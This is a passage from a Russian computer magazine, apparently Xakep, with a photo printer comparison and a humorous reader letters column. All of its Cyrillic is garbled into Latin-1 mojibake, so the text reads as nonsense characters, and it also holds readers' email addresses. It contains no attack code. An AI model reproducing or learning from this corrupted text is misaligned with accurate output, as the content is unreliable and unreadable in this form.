ÄÎÏÎËÍÈÒÅËÜÍÎ: ðàáîòà ññ CCompactFlash II/II,

SmartMedia, SSony MMemory SStick, MMemory SStick

Pro, MMemory SStick DDuo, MMemory SStick DDuo PPro,

SD, MMiniSD, MMMC, xxD, ççàïèñü CCD èè ïïå÷àòü ññ CCD,

ïå÷àòü ááåç ïïîëåé, ððåäàêòèðîâàíèå èèçîáðàæåíèé

ÈÍÒÅÐÔÅÉÑ: USB, PPictBridge, BBlueTooth

(òðåáóåòñÿ ääîïîëíèòåëüíûé ààäàïòåð)

ÃÀÁÀÐÈÒÛ, ÌÌ: 153õ276õ235

ÂÅÑ, ÊÃ: 2.95

ïëþñû. Ñàìûé àâòîíîìíûé
ïðèíòåð â íàøåì îáçîðå! Îí ïîääåð-
æèâàåò ïîïóëÿðíûé ôîðìàò
PictBridge, ïîçâîëÿþùèé ïå÷àòàòü
íàïðÿìóþ ñ ñîâìåñòèìûõ óñòðîéñòâ,
èìååò ïîðò USB, áëàãîäàðÿ êîòîðîìó
ìîæåò ðàáîòàòü ñ ôëåøêàìè, ìîæåò
îñíàùàòüñÿ BlueTooth-àäàïòå-
ðîì (ñëåäîâàòåëüíî, è ïå÷àòàòü ÷å-
ðåç ýòîò èíòåðôåéñ), ñîâìåñòèì

ñ êó÷åé êàðò ïàìÿòè, à òàêæå èìååò
îïòè÷åñêèé ïðèâîä CD-R — ìîæåò
ïå÷àòàòü ñ ñîîòâåòñòâóþùèõ äèñêîâ
èëè çàïèñûâàòü ñ CD íà ôëåøêè,
êàðòû ïàìÿòè è íàîáîðîò. Èìååòñÿ
íåáîëüøîé ÆÊ-ýêðàí, íà êîòîðîì
ìîæíî ïðîâîäèòü äîïå÷àòíóþ ïîäãî-
òîâêó ôîòîãðàôèé: óñòðàíåíèå ýô-
ôåêòà êðàñíûõ ãëàç, ïîâîðîò êàäðîâ,
êîððåêöèÿ öâåòà, êàäðèðîâàíèå. Ìå-
íþ ïðèíòåðà ïðîñòîå, ðàçîáðàòüñÿ
â íåì òðóäà íå ñîñòàâèò. Êà÷åñòâî
îòïå÷àòêà ïîðàäîâàëî: öâåòà ÿðêèå
è ñî÷íûå, ôîòîãðàôèÿ ïîëó÷àåòñÿ
÷åòêîé. Â êîìïëåêò ïîñòàâêè âõîäèò
ïà÷êà ôîòîáóìàãè.

ìèíóñû. Ê ñîæàëåíèþ, íà÷èñòî
îòñóòñòâóåò âîçìîæíîñòü ïîäêëþ÷å-
íèÿ ê ÏÊ. Ïå÷àòü ñíèìêà äëèòñÿ äîë-
ãî, áîëåå òðåõ ìèíóò, ïðè÷åì ñóùå-
ñòâåííàÿ ÷àñòü âðåìåíè óõîäèò
íå ñîáñòâåííî íà ïå÷àòü, à íà íåêèå
ðàçäóìüÿ ïðèíòåðà î æèçíè. Îòïå÷à-
òîê î÷åíü ñèëüíî ïîäâåðæåí ðàçìû-
òèþ, äàæå ïî ïðîøåñòâèè íåêîòîðî-
ãî âðåìåíè.

HEWLETT- PACKARD
PHOTOSMART 420
($300) 9  áàëëîâ

ÌÀÊÑ. ÐÀÇÐÅØÅÍÈÅ, DPI: n\a

ÑÊÎÐÎÑÒÜ ÏÅ×ÀÒÈ (10X15), Ñ: 120

ÅÌÊÎÑÒÜ ËÎÒÊÀ ÄËß ÁÓÌÀÃÈ, ØÒ: 20

ÄÎÏÎËÍÈÒÅËÜÍÎ: ôîòîêàìåðà ââ êêîìïëåêòå

ÈÍÒÅÐÔÅÉÑ: USB, BBlueTooth ((òðåáóåòñÿ

äîïîëíèòåëüíûé ààäàïòåð)

ÃÀÁÀÐÈÒÛ, ÌÌ: 227x116x162

ÂÅÑ, ÊÃ: 1.25

ïëþñû. Ñðàçó íóæíî óòî÷íèòü,
÷òî ýòî íå ïðîñòî ôîòîïðèíòåð,
à íàñòîÿùàÿ äîìàøíÿÿ ôîòîñòó-
äèÿ — íó à êàê åùå íàçâàòü ïðî-
äóêò, â êîìïëåêò ïîñòàâêè êîòîðîãî
âõîäèò 5-ìåãàïèêñåëüíàÿ öèôðîâàÿ
êàìåðà è ïóëüò ÄÓ? Ñóïåðôóíêöèî-
íàëüíûé ôîòîêîìáàéí? Åñòåñòâåí-
íî, êàìåðà è ïðèíòåð î÷åíü ïëîòíî
ñâÿçàíû ìåæäó ñîáîé: àêêóìóëÿòîð
ôîòèêà ìîæíî ïåðåçàðÿäèòü ñ ïî-
ìîùüþ ïðèíòåðà, è íàïðÿìóþ ðàñ-
ïå÷àòàòü ñ íåãî êàäðû. Ñàì ïðèíòåð
èìååò íåáîëüøèå ðàçìåðû è îáòå-
êàåìûå î÷åðòàíèÿ (ìîæíî çàïóñêàòü
â êîñìîñ), à ïîñëå òðàíñôîðìàöèè
ó íåãî ïîÿâëÿåòñÿ ðó÷êà äëÿ ïåðå-
íîñêè è íåîáõîäèìûå ëîòêè. Îí,
êñòàòè, íàïå÷àòàë äîñòàòî÷íî êà÷å-
ñòâåííîå ôîòî âñåãî ëèøü çà ìèíó-
òó è òðèäöàòü øåñòü ñåêóíä. Äîïîë-
íèòåëüíûì ïëþñîì ÿâëÿåòñÿ âîç-
ìîæíîñòü ïîäêëþ÷åíèÿ ê òåëåâèçî-
ðó äëÿ ïðîñìîòðà ôîòîãðàôèé
íà áîëüøîì ýêðàíå.

ìèíóñû. Îòïå÷àòîê î÷åíü 
ëåãêî ïîääàëñÿ ðàçìûòèþ, 
÷òî íå åñòü õîðîøî. Êàìåðà äî-
âîëüíî ìàññèâíà. Ïðîöåññ óñòàíîâ-
êè äðàéâåðîâ è ÏÎ çàíèìàåò êó÷ó
âðåìåíè, à òàêæå òðåáóåò îò 200 äî
600 Ìá ìåñòà íà äèñêå, ÷òî äàëåêî
îò ìèíèìàëèçìà.
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SAMSUNG SPP-2020
($150) 7 áàëëîâ

ÌÀÊÑ. ÐÀÇÐÅØÅÍÈÅ, DPI: 300x300

ÑÊÎÐÎÑÒÜ ÏÅ×ÀÒÈ (10X15), Ñ: 60

ÅÌÊÎÑÒÜ ËÎÒÊÀ ÄËß ÁÓÌÀÃÈ, ØÒ: 20

ÄÎÏÎËÍÈÒÅËÜÍÎ: ïîääåðæêà PPictBridge

ÈÍÒÅÐÔÅÉÑ: USB, BBlueTooth ((òðåáóåòñÿ

äîïîëíèòåëüíûé ààäàïòåð)

ÃÀÁÀÐÈÒÛ, ÌÌ: 180õ136õ61

ÂÅÑ, ÊÃ: 1

ïëþñû. Samsung SPP-2020
î÷åíü ïîõîæ íà óñòðîéñòâî îò Kodak,
÷òî ñîâñåì íå óäèâèòåëüíî — â íåì
òàêæå ïðèìåíÿåòñÿ òåõíîëîãèÿ ñóá-
ëèìàöèîííîé ïå÷àòè. Äèçàéí óñò-
ðîéñòâ ïðàêòè÷åñêè îäèíàêîâ, îíè
ðàçëè÷àþòñÿ òîëüêî öâåòîâîé ãàì-
ìîé, äà òåì, ÷òî ó Samsung'à îòñóò-
ñòâóåò äèñïëåé. Çàòî è ñòîèò îí íàì-
íîãî äåøåâëå, è òåì, êîìó íå íóæíà

àâòîíîìíàÿ ðàáîòà, îí âïîëíå ïî-
äîéäåò (õîòÿ òóò èìååòñÿ âîçìîæ-
íîñòü ïå÷àòè ñ USB-óñòðîéñòâ è ïðå-
äóñìîòðåíà óñòàíîâêà
BlueTooth-àäàïòåðà). Â îñòàëüíîì
æå ýòî îòëè÷íûé äîìàøíèé ôîòîï-
ðèíòåð: íåäîðîãîé, áûñòðûé (65 ñå-
êóíä íà òåñòîâîå èçîáðàæåíèå),
ïðîñòîé â ïðèìåíåíèè. Ïîëó÷åííûé
îòïå÷àòîê áûë ÿðêèé è ÷åòêèé,
è ðàçìûòü åãî íå ïîëó÷èëîñü. Ôîòî-
áóìàãà âõîäèò â êîìïëåêò ïîñòàâêè.

ìèíóñû. Äîâîëüíî äîëãàÿ ïðî-
öåäóðà óñòàíîâêè äðàéâåðîâ è ÏÎ.
Ìåíüøèå, ïî ñðàâíåíèþ ñ îñòàëüíû-
ìè ó÷àñòíèêàìè òåñòà, âîçìîæíîñòè.
Èçäåðæêè ñóáëèìàöèîííîé òåõíîëî-
ãèè ïå÷àòè — ñóùåñòâåííî óâåëè÷è-
âàþùèé ðàçìåðû è ïîðòÿùèé âíåø-
íèé âèä óñòðîéñòâà ëîòîê äëÿ áóìà-
ãè, íåâîçìîæíîñòü óñòàíîâèòü óñò-
ðîéñòâî âïëîòíóþ ê ñòåíå.

EPSON
PICTUREMATE 500
($250) 7 áàëëîâ

ÌÀÊÑ. ÐÀÇÐÅØÅÍÈÅ, DPI: 5760x1440

ÑÊÎÐÎÑÒÜ ÏÅ×ÀÒÈ (10X15), Ñ: 86

ÅÌÊÎÑÒÜ ËÎÒÊÀ ÄËß ÁÓÌÀÃÈ, ØÒ: 20

ÄÎÏÎËÍÈÒÅËÜÍÎ: Compact FFlash ((I&II), xxD-

Picture CCard, SSmart MMedia, SSecure DDigital,

MultiMedia CCard, MMagic GGate MMemory SStick,

Memory SStick, MMemory SStick PPRO, MMemory SStick

Duo, IIBM MMicroDrive

ÈÍÒÅÐÔÅÉÑ: USB, UUSB DDirectPrint, PPictBridge,

BlueTooth ((òðåáóåòñÿ ääîïîëíèòåëüíûé ààäàïòåð)

ÃÀÁÀÐÈÒÛ, ÌÌ: 256x305x167

ÂÅÑ, ÊÃ: 2.8

ïëþñû. Î÷åíü êîìïàêòíîå óñò-
ðîéñòâî ñ çàáàâíîé ðó÷êîé äëÿ ïåðå-
íîñêè. Óæå ïðè âêëþ÷åíèè ðàäóåò ðóñ-
ñêèì ìåíþ íà ÆÊ-ýêðàíå. Åãî íàëè÷èå
ñâèäåòåëüñòâóåò î òîì, ÷òî ñîåäèíÿòü-
ñÿ ñ êîìïüþòåðîì äëÿ ðàáîòû ýòîìó
ïðèíòåðó ñîâåðøåííî íå îáÿçàòåëüíî.

Îí ìîæåò ïå÷àòàòü ñ êàðò ïàìÿòè,
ñ BlueTooth-ñîâìåñòèìûõ óñòðîéñòâ
(ïðè ïîäêëþ÷åíèè ñîîòâåòñòâóþùåãî
àäàïòåðà), ñ äåâàéñîâ, èìåþùèõ èí-
òåðôåéñû USB, PictBridge èëè USB
DirectPrint. Àâòîíîìíîñòü óñòðîéñòâà
äîõîäèò äî òîãî, ÷òî äëÿ åãî ïèòàíèÿ
ìîæíî èñïîëüçîâàòü íå àäàïòåð, à àê-
êóìóëÿòîð. Íà óæå óïîìÿíóòîì ÆÊ-
äèñïëåå îñóùåñòâëÿåòñÿ ïðîñìîòð
è ðåäàêòèðîâàíèå èçîáðàæåíèé. Ìåíþ
è îðãàíû óïðàâëåíèÿ î÷åíü ïðîñòû,
òóò ïðîáëåì íå âîçíèêíåò. Îòïå÷àòîê
ïîëó÷èëñÿ õîðîøåãî êà÷åñòâà, ñ íàñû-
ùåííûìè öâåòàìè, è àáñîëþòíî óñòîé-
÷èâûé ê ðàçìûòèþ. Â êîìïëåêò ïîñ-
òàâêè óñòðîéñòâà âõîäèò äîïîëíèòåëü-
íûé êàðòðèäæ è íàáîð ÏÎ.

ìèíóñû. Íåäîñòàòêîì îïðåäå-
ëåííî ÿâëÿåòñÿ ñêîðîñòü ðàáîòû:
ïðèíòåð ïîòðàòèë íà ïå÷àòü èçîáðà-
æåíèÿ ïî÷òè ÷åòûðå ñ ïîëîâèíîé
ìèíóòû. Îïðàâäûâàåò ëè ýòî êà÷åñò-
âî ñíèìêà — ðåøàòü òåáå.

KODAK
EASYSHARE 500
($280) 8 áàëëîâ

ÌÀÊÑ. ÐÀÇÐÅØÅÍÈÅ, DPI: 300x300

ÑÊÎÐÎÑÒÜ ÏÅ×ÀÒÈ (10X15), Ñ: 60

ÅÌÊÎÑÒÜ ËÎÒÊÀ ÄËß ÁÓÌÀÃÈ, ØÒ: 30

ÄÎÏÎËÍÈÒÅËÜÍÎ: Compact FFlash, SSD/MMC,

XD-PPicture CCard, MMEMORY SSTICK

ÈÍÒÅÐÔÅÉÑ: USB, PPictBridge, BBlueTooth,

Wi-FFi ((òðåáóåòñÿ ääîïîëíèòåëüíûé ààäàïòåð)

ÃÀÁÀÐÈÒÛ, ÌÌ: 334õ78õ166

ÂÅÑ, ÊÃ: 1.3

ïëþñû. Ñàìûé êîìïàêòíûé
ïðèíòåð â íàøåì ñåãîäíÿøíåì îáçî-
ðå. Íî, íåñìîòðÿ íà ñâîè íåáîëüøèå
ðàçìåðû, îí íè â ÷åì íå óñòóïàåò
ñâîèì áîëåå ìàññèâíûì ñîáðàòüÿì,
à ïî íåêîòîðûì ïîçèöèÿì äàæå èõ
ïðåâîñõîäèò. Îí ìîæåò ðàáîòàòü
â îòðûâå îò ÏÊ, èìååò ÆÊ-ýêðàí
äëÿ ïðîñìîòðà è ðåäàêòèðîâàíèÿ
èçîáðàæåíèé, ïîääåðæèâàåò ïå÷àòü

ñ ôëåøåê è êàðò ïàìÿòè, èìååò
âñòðîåííûé BlueTooth-àäàïòåð,
à ïîñëå óñòàíîâêè ôèðìåííîé êàð-
òî÷êè Kodak ñìîæåò âçàèìîäåéñòâî-
âàòü ñ ìèðîì ïî ïðîòîêîëó Wi-Fi.
Èç-çà íåáîëüøèõ ðàçìåðîâ â íåì
ïðèìåíÿåòñÿ íåîáû÷íàÿ òåõíîëîãèÿ
ïå÷àòè — ïîëóòîíîâàÿ ñ òåðìîïåðå-
íîñîì êðàñèòåëÿ, òàê ÷òî íå ïóãàéñÿ,
êîãäà òâîé ôåéñ ñíà÷àëà âûëåçåò
æåëòûì, ïîòîì êðàñíûì è òîëüêî íà
òðåòèé ðàç òàêèì, êàêèì îí äîëæåí
áûòü. Êñòàòè, íà ñêîðîñòü ðàáîòû
ýòî íå âëèÿåò: íàøå ôîòî ïå÷àòà-
ëîñü âñåãî 70 ñåêóíä, ïðè÷åì ïîëó-
÷èëîñü î÷åíü-î÷åíü ÷åòêèì è ñîâñåì
íåðàçìûâàþùèìñÿ.

ìèíóñû. Àäàïòåð Wi-Fi ñòîèò äî-
ðîãî. Îïÿòü æå, èç-çà íåáîëüøèõ ãà-
áàðèòîâ ïðèñóòñòâóþò òàêèå êîíñòðóê-
òèâíûå îñîáåííîñòè, êàê óñòàíàâëè-
âàåìûé ëîòîê äëÿ áóìàãè è íåêîòî-
ðûå îãðàíè÷åíèÿ íà ðàññòîÿíèå îò
çàäíåé ñòåíêè ïðèíòåðà äî ñòåíû. 
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HEWLETT- PACKARD
PHOTOSMART 475
($250) 8 áàëëîâ

ÌÀÊÑ. ÐÀÇÐÅØÅÍÈÅ, DPI: 4800õ1200

ÑÊÎÐÎÑÒÜ ÏÅ×ÀÒÈ (10X15), Ñ: 90

ÅÌÊÎÑÒÜ ËÎÒÊÀ ÄËß ÁÓÌÀÃÈ, ØÒ: 20

ÄÎÏÎËÍÈÒÅËÜÍÎ: CompactFlash, SSecure-

Digital, MMultiMedia CCard, MMemory SStick, xxD-PPicture

ÈÍÒÅÐÔÅÉÑ: USB, PPictBridge, BBlueTooth ((òðå-

áóåòñÿ ääîïîëíèòåëüíûé ààäàïòåð)

ÃÀÁÀÐÈÒÛ, ÌÌ: 220x115x118

ÂÅÑ, ÊÃ: 1.2

ïëþñû. Êëàññè÷åñêèé, ìîæíî
ñêàçàòü, ïðèíòåð äëÿ íàøåãî ñåãîä-
íÿøíåãî òåñòà, îòëè÷àþùèéñÿ îò
Hewlett-Packard PhotoSmart 420 îò-
ñóòñòâèåì êàìåðû, ñíèæåííîé öåíîé
è ðàñøèðåííûìè âîçìîæíîñòÿìè.

Ê íèì îòíîñèòñÿ àâòîíîìíàÿ ðàáî-
òà, êàðä-ðèäåð, ÆÊ-ýêðàí, íà êîòî-
ðîì ìîæíî ïðîñìàòðèâàòü è ðåäàê-
òèðîâàòü ôîòêè. Î÷åíü ïîíðàâèëîñü
óäîáñòâî ðàáîòû — ïîñëå íàæàòèÿ
êíîïêè âêëþ÷åíèÿ âñå íåîáõîäèìûå
ëîòêè è ýêðàíû îòêðûâàþòñÿ ñàìè
ñîáîé. Ýòî âñå ïðèòîì, ÷òî ðàçìåðû
ïðèíòåðà îñòàëèñü ïî÷òè òàêèìè
æå, äàæå ðó÷êà äëÿ ïåðåíîñêè ñîõ-
ðàíèëàñü. Ñíèìîê íàïå÷àòàëñÿ íåì-
íîãî áûñòðåå, çà 95 ñåêóíä. Ê êà÷å-
ñòâó ïðåòåíçèé íåò — öâåòà ÷åòêèå
è ñî÷íûå. Â êîìïëåêò ïîñòàâêè òàê-
æå âõîäèò ïóëüò ÄÓ.

ìèíóñû. Ðàçìûòèå ïîä äåéñòâè-
åì âîäû ïðèñóòñòâóåò â ïîëíîì îáúå-
ìå. Òàê æå, êàê è äîëãàÿ è îáúåìíàÿ
óñòàíîâêà — â ýòîì ñìûñëå îòëè÷èé
îò ïðåäûäóùåãî ïðåòåíäåíòà íåò.

SAMSUNG
SPP-2040
($200) 8 áàëëîâ

ÌÀÊÑ. ÐÀÇÐÅØÅÍÈÅ, DPI: 300x300

ÑÊÎÐÎÑÒÜ ÏÅ×ÀÒÈ (10X15), Ñ: 60

ÅÌÊÎÑÒÜ ËÎÒÊÀ ÄËß ÁÓÌÀÃÈ, ØÒ: 20

ÄÎÏÎËÍÈÒÅËÜÍÎ: CompactFlash II III,

SmartMedia, SSecureDigital, MMultiMedia CCard,

Memory SStick, xxD-PPicture

ÈÍÒÅÐÔÅÉÑ: USB, PPictBridge, BBlueTooth

(òðåáóåòñÿ ääîïîëíèòåëüíûé ààäàïòåð)

ÃÀÁÀÐÈÒÛ, ÌÌ: 180x136x66

ÂÅÑ, ÊÃ: 1.1

ïëþñû. Òðåòèé è ïîñëåäíèé ñóá-
ëèìàöèîííûé ïðèíòåð â íàøåì îáçî-
ðå, êîòîðûé âíåøíèì âèäîì î÷åíü
íàïîìèíàåò äâà ïðåäûäóùèõ.
Ïî ñðàâíåíèþ ñî ñâîèì ìëàäøèì
áðàòîì, Samsung SPP-2020, ó ñîðîêî-
âîé ìîäåëè ñóùåñòâåííî ïðèáàâè-
ëîñü âîçìîæíîñòåé. Âî-ïåðâûõ,
ýòî ÆÊ-ýêðàí, ñ ïîìîùüþ êîòîðîãî,
à òàêæå êëàâèø óïðàâëåíèÿ, ìîæíî
ðåäàêòèðîâàòü èçîáðàæåíèÿ è óïðàâ-
ëÿòü ïðîöåññîì ïå÷àòè. Âî-âòîðûõ,
êàðä-ðèäåð: ýòîé ìîäåëè ïðèíòåðà
íå íóæåí ÏÊ, ïå÷àòü ìîæåò îñóùåñ-
òâëÿòüñÿ ñ êàðò ïàìÿòè è PictBridge-
ñîâìåñòèìûõ óñòðîéñòâ. À ïðè óñòà-
íîâêå BlueTooth-àäàïòåðà ïå÷àòü ñòà-
íåò âîçìîæíà è ïî ýòîìó ñòàíäàðòó.
Â îñòàëüíîì æå — ýòî êîïèÿ äâàäöà-
òîé ìîäåëè, è ïî äîñòîèíñòâàì è ïî
íåäîñòàòêàì. Ðàçâå ÷òî èçîáðàæåíèå
áûëî îòïå÷àòàíî íåñêîëüêî áûñò-
ðåå — 62 ñåêóíäû ïðîòèâ 65 ó äâàä-
öàòêè. Êà÷åñòâî æå îòïå÷àòêîâ áûëî
îäèíàêîâûì, íå ðàçìûâàëèñü îáà.

ìèíóñû. Äîëãàÿ, êàê è ó ìëàä-
øåé ìîäåëè, ïðîöåäóðà óñòàíîâêè
äðàéâåðîâ è ÏÎ. Òå æå îãðàíè÷åíèÿ,
êîòîðûå äèêòóþòñÿ íåáîëüøèìè ðàç-
ìåðàìè óñòðîéñòâà è ñóáëèìàöèîí-
íîé òåõíîëîãèåé ïå÷àòè.

âûâîäû. Ðàäóåò òîò ôàêò, ÷òî â ñåãîäíÿøíåì òåñòå áûëè èñêëþ÷èòåëüíî
êà÷åñòâåííûå óñòðîéñòâà. Õîòåëîñü áû îòìåòèòü ïðèíòåð Lexmark P450 çà åãî
ïîëíóþ àâòîíîìíîñòü îò êîìïüþòåðà. Åñëè òåáå íóæíî ïå÷àòàòü ñ Wi-Fi —
ïðèñìîòðèñü ê óñòðîéñòâó Kodak EasyShare 500. «Ëó÷øåé ïîêóïêîé» ñåãîäíÿ

ñòàíîâèòñÿ Samsung SPP-2040 — îãðîìíûå âîçìîæíîñòè è õîðîøåå êà÷åñòâî
çà áîëåå ÷åì ïðèåìëåìûå äåíüãè. À «Âûáîð ðåäàêöèè» ïîëó÷àåò ôîòîñòóäèÿ
Hewlett-Packard PhotoSmart 420: çà êà÷åñòâî è ôîòîêàìåðó â êîìïëåêòå.
Âñå-òàêè ïÿòèìåãàïèêñåëüíûé ôîòîàïïàðàò íå áóäåò ëèøíèì 



rpkyvilenina@gmail.com
Àðåâèíà Àãàðïüÿ
ïîìîãèòå óïðàâèòñÿ ñ ìîáèëîé

Çíàåòå ëè ÂÛ, ÷òî íàéòè  öåííóþ èíôîðìàöèþ ìîæíî íå òîëüêî â ãàçåòàõ
è ïî òåëåâèçîðó, íî è ñ ïîìîùüþ ýëåêòðîííîé ïî÷òû.

Åìåéë-ðåêëàìà — ýòî íåäîðîãîé ñïîñîá äîñòàâèòü âàøó èíôîðìàöèþ
òåì ëþäÿì, êîòîðûå â ýòîì íóæäàþòñÿ.
Çâîíèòå.

Ñîãëàñåí, èñêàòü öåííóþ èíôîðìàöèþ â ïî÷òå — õîðîøèé òîí.
Ìíå âîò îáû÷íî ïðèõîäÿò êàêèå ïèñüìà? Íó, äîïóñòèì: «ß çàáîëåë
ëèõîðàäêîé çàïàäíîãî Íèëà è ïîýòîìó íå ñäàì òåáå ñòàòüþ, 
à òû óæ, ëþáåçíûé, âûêðó÷èâàéñÿ, êàê ìîæåøü! Ñ íàäåæäîé íà
äëèòåëüíîå ñîòðóäíè÷åñòâî, Áîðÿ!». Èëè òàì: «Êîãäà òû óæå ïëàí
ñâåäåøü, êóäà ðåêëàìó ñòàâèòü, òû çíàë ïðî òàêóþ-òî ðåêëàìó,
äà ó íàñ òðè ïîëîñû ëèøíèå, òî äà ñå, ñ óâàæåíèåì, Âàñèí». 

Âîò òàêàÿ âîò èíôîðìàöèÿ. Ïðàâäà, êîãäà-òî ìíå ñëó÷àéíî ñêèíó-
ëè ïî ïî÷òå äàìï ñ êðåäàìè, ñëèòûìè ñ êàêîãî-òî ìàãàçèíà, 
íî ÿ èìè íå âîñïîëüçîâàëñÿ, ïîñêîëüêó ÿ íå õàêåð êàêîé-òî. Îäíà-
êî, íàñ÷åò òîãî, ÷òî ñïàì äîõîäèò ëþäÿì, òîëüêî â íåì íóæäàþ-
ùèìñÿ, ÿ ñêëîíåí íå ñîãëàñèòüñÿ, èíà÷å îòêóäà æå ìû íàáëþäàåì
òàêîé áóðíûé ðîñò ñïàì-êèëëåðîâ? Â îáùåì, êàê æå âû äîñòàëè 
ñî ñâîåé öåííîé èíôîðìàöèåé…

duhen@narod.ru
Ïîìîãèòå

Çäðàâñòâóéòå äîðîãèå õàêåðû.
Ïèøåò âàì ïðîãðàììèñò åùå íå ñïåöèàëèñò, íî óæå íå íà÷èíàþùèé.
Ó ìåíÿ åñòü ê âàì îäíà íåîáû÷íàÿ ïðîñüáà. Ìíå î÷åíü íóæåí e-mail Áèëëà
Ãåéòñà. Ëþáîé: ðàáî÷èé, äîìàøíèé. Íå ñïðàøèâàéòå çà÷åì, ïðîñòî ïîìîãèòå.
Çàðàíåå áëàãîäàðþ!

PS. Òàê êàê ó ìåíÿ íå âñåãäà åñòü âîçìîæíîñòü êóïèòü æóðíàë, âûøëèòå,
ïîæàëóéñòà, ìíå íà mail: duhen@yandex.ru
Ñ íàèëó÷øèìè ïîæåëàíèÿìè, Duhen.

Íèêàêèõ ïðîáëåì, óâàæàåìûé! Ëîâè: BillG@microsoft.com. Äàæå áåç
òâîåé ïîìîùè óâàæàåìûé Áèëë Ãåéòñ ïîëó÷àåò îêîëî 4 ìèëëèîíîâ
ïèñåì â äåíü. ß óâåðåí, òâîå ëèøíèì íå áóäåò, è åñëè îí íå îòâåòèò

òåáå â òå÷åíèå ñóòîê — îáÿçàòåëüíî îáðàòèñü â àíòèìîíîïîëüíûé
êîìèòåò, ïîòîìó ÷òî òîëüêî ñàìûé çàÿäëûé è çëîáíûé êàïèòàëèñò-
ìîíîïîëèñò íå îòâå÷àåò íà ïèñüìà áëàãîäàðíûõ ïîëüçîâàòåëåé!
Êñòàòè, íà ôîðóìå ËèíóêñÐÓ.êîì óæå âñïëûâàëà òåìà ïèñåì ãîñïî-
äèíó, êîòîðîìó îáÿçàí äàííûé íîìåð. Îòòóäà ÿ ìîãó ïðîöèòèðîâàòü
òåáå îäíó ðåêîìåíäàöèþ: «Îáÿçàòåëüíî ïèøè ïî-ðóññêè, íå ñòîèò
óòðóæäàòü ñåáÿ ïåðåâîäîì íà ÿçûê îíàíèñòîâ. Âîò òóò-òî îíè è ïî-
æàëåþò, ÷òî íå ñäåëàëè ðóññêèé ÿçûê ìåæäóíàðîäíûì».

Dlf@ok.kz
***!!!

Çäðàâñòâóéòå, óâàæàåìàÿ ðåäàêöèÿ!
Çíàþ, ÷òî ó Âàñ ìíîãî ïèñåì, íî äóìàþ, Âû ìíå îòâåòèòå))) À âîò 
ìîè âîïðîñû:
1 Êîãäà ïîäêëþ÷àþñü ÷åðåç ïðîêñè (MyProxy, WinProxy) áðàóçåðàìè (Opera,
FireFox), òî CPU ãðóçèòñÿ äî 100% è çàâèñàåò ñèñòåìà, è íèêàêîé ðåàêöèé!
Òîëüêî reset! Ñ ôàéðâîëàìè òàêæå! Ìíå êàæåòñÿ, ÷òî îòêëþ÷åí êàêîé-òî
ñåðâèñ?! Èëè êàê? (ÎÑü: Win XP)))
2 Ñóùåñòâóåò ëè Midnight Commander äëÿ Âèíäîâñ? Èëè åñòü àëüòåðíàòèâà?
3 Íå ìîãó ïîíÿòü ïðî Java. Âîò Java-ïðîãè, — èãðû äëÿ ñîòîê (ìîáèëîê),
êàê íà êîìïå èõ çàïóñòèòü? Êàêîé ýìóëÿòîð íóæåí? Java
Runtime Environment, îòíîñèòñÿ ëè îí ê Java äëÿ ìîáèëüíèêîâ?

Êàê âû äîãàäàëèñü ïî äîìåíó, æèâó ÿ Êàçàõñòàíå. Ñ îïîçäàíèåì,
íî âñå æå æóðíàë ê íàì äîõîäèò))) È ìû åãî ÷èòàåì))) Ñïàñèáî, ÷òî Âû åñòü!)

ÇÛ: Ó ìåíÿ ê Âàì ïðîñüáà, íå íàäî ïå÷àòàòü ìîå ïèñüìî â æóðíàëå)
Çàðåíåå áëàãîäàðåí!
Ñ óâàæåíèåì.

Hà÷íó ñ êîíöà. À ïî÷åìó íå îòâå÷àòü â æóðíàëå-òî? Òû æå íå ïîïðî-
ñèë ÷åãî-òî ñòûäíîãî, íå ïðèçíàëñÿ â êàêîì-íèáóäü ñðàìíîì ïîñòóï-
êå (íàïðèìåð, íà ïàøíå ñ ëîøàäüþ ñîâîêóïëÿëñÿ è ò.ä.) è íå ïðèñ-
ëàë ôîòî â ñòèëå «÷àñòíîå íþ». Òåáå æå íå÷åãî ñòåñíÿòüñÿ! À òå-
ïåðü — îòâå÷ó ïî ïóíêòàì (ïðàâäà, ÿ äîâîëüíî íåêîìïåòåíòíûé òî-
âàðèù è íè÷åì îñîáåííûì òåáå íå ïîìîãó).

1 ÏÎÍßÒÈß ÍÅ ÈÌÅÞ, ÏÎ×ÅÌÓ ÒÀÊ ÎÍÎ ÏÐÎÈÑÕÎÄÈÒ. 
ÞÇÀÉ SOCKSCHAIN, ÝÒÎ ÒÐÓ-ÕÀÊÅÐÑÊÀß ÏÐÎÃÐÀÌÌÀ, 
ÅÅ ÓÂÀÆÀÞÒ ÏÐÅÄÑÒÀÂÈÒÅËÈ ÂÑÅÃÎ ÍÀØÅÃÎ ÀÍÄÅÃÐÀÓÍÄÀ.

2 ÝÒÈÌ ÂÎÏÐÎÑÎÌ ÒÛ ÌÅÍß ÏÎÄÊÎÑÈË. ×ÒÎ ÇÍÀ×ÈÒ: 
«ÀÍÀËÎÃ MC»? À ÊÀÊ ÆÅ ÍÀØÈ ÊÎÐÍÈ? ÊÀÊ ÆÅ ÍÎÐÒÎÍ
ÊÎÌÌÀÍÄÅÐ, ÂÎËÊÎÂ ÊÎÌÌÀÍÄÅÐ, FAR, Â ÊÎÍÖÅ ÊÎÍÖÎÂ?
ÏÎÄ WINDOWS ÑÓÙÅÑÒÂÓÅÒ ÒÀÊÎÅ ÃÈÃÀÍÒÑÊÎÅ ÊÎËÈ×ÅÑÒ-
ÂÎ ÔÀÉËÎÂÛÕ ÌÅÍÅÄÆÅÐÎÂ, ×ÒÎ ÃÎËÎÂÀ ÊÐÓÃÎÌ ÈÄÅÒ.
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ÏÈØÈÒÅ ÏÈÑÜÌÀ! SPEC@REAL.XAKEP.RU
D R .  K L O U N I Z

e-mail
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3 ÇÀ×ÅÌ ÒÅÁÅ ÝÒÎ? Ó ÁÎËÜØÈÍÑÒÂÀ ÏÎËÜÇÎÂÀÒÅËÅÉ ÂÑÒÀ-
ÅÒ ÎÁÐÀÒÍÛÉ ÂÎÏÐÎÑ.

Íå çà ÷òî! ×èòàé íàø æóðíàë, ìû ïîäãîíèì òåáå ìíîãî èíòåðåñíîãî.

mivnet@yandex.ru
Ãäå Mac?

Ãîñïîäà!
Î÷åíü õîòåëîñü óâèäåòü, ÷òî-òî è î Apple/Mac. Ìû-òî ñóùåñòâóåì,

è íå î÷åíü äàëåêè îò ìèðà, äà Xcode âðîäå åñòü è ò.ï. Íå ìîæåò áûòü
ýòà òåìà äëÿ âàñ ñîâñåì áèòîé…
Äî ñêîðîãî!

Ñþðïðèç! Òàêîé íîìåð ó íàñ ïëàíèðóåòñÿ â ñëåäóþùåì ãîäó. Õîòå-
